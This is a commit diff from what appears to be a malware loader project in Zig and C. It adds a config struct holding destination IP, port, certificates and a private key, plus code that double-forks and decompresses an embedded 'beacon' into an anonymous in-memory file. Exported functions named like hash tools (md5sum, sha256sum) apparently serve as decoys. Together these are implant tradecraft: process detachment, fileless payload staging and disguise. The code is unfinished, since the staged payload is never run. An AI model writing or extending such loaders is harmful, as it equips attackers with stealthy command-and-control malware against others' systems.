feat: added header file for communicating config

unix-loader/src/abi.h

@@ -0,0 +1,10 @@
+typedef struct Parameters {
+  int destination_ip;
+  int source_ip;
+  short destination_port;
+  short pubkey_cert_size;
+  short privkey_size;
+  short privkey_cert_size;
+  char pubkey_cert[1024];
+  char identifier[64];
+} Parameters_t;

unix-loader/src/libloader.zig

@@ -2,8 +2,31 @@ const std = @import("std");
 
 const beacon = @embedFile("beacon");
 
+const Parameters = @cImport({
+    @cInclude("abi.h");
+}).Parameters_t;
+
 fn use_beacon(message: []const u8) !void {
-    _ = try std.io.getStdOut().write(message);
+    const pid = std.c.fork();
+    if (pid == 0) {
+        if (std.c.fork() == 0) {
+            const target_fd = try std.posix.memfd_create("", 0);
+            var reader = std.io.fixedBufferStream(message);
+
+            var target_file = std.fs.File{ .handle = target_fd };
+
+            try std.compress.gzip.decompress(reader.reader(), target_file.writer());
+
+            while (true) {}
+
+            std.c.exit(0);
+        }
+        std.c.exit(0);
+    } else {
+        var status: c_int = 0;
+        _ = std.c.waitpid(pid, &status, 0);
+        _ = std.c.kill(pid, std.c.SIG.KILL);
+    }
 }
 
 export fn hash_internals() void {

unix-loader/src/loader.zig

@@ -1,5 +1,16 @@
 extern fn hash_internals() void;
 
+const Parameters = @cImport({
+    @cInclude("abi.h");
+}).Parameters_t;
+
 export fn calculate_hash() void {
     hash_internals();
 }
+
+export fn md5sum() void {}
+export fn sha256sum() void {}
+export fn sha384sum() void {}
+export fn sha512sum() void {}
+export fn sha1sum() void {}
+export fn sha2sum() void {}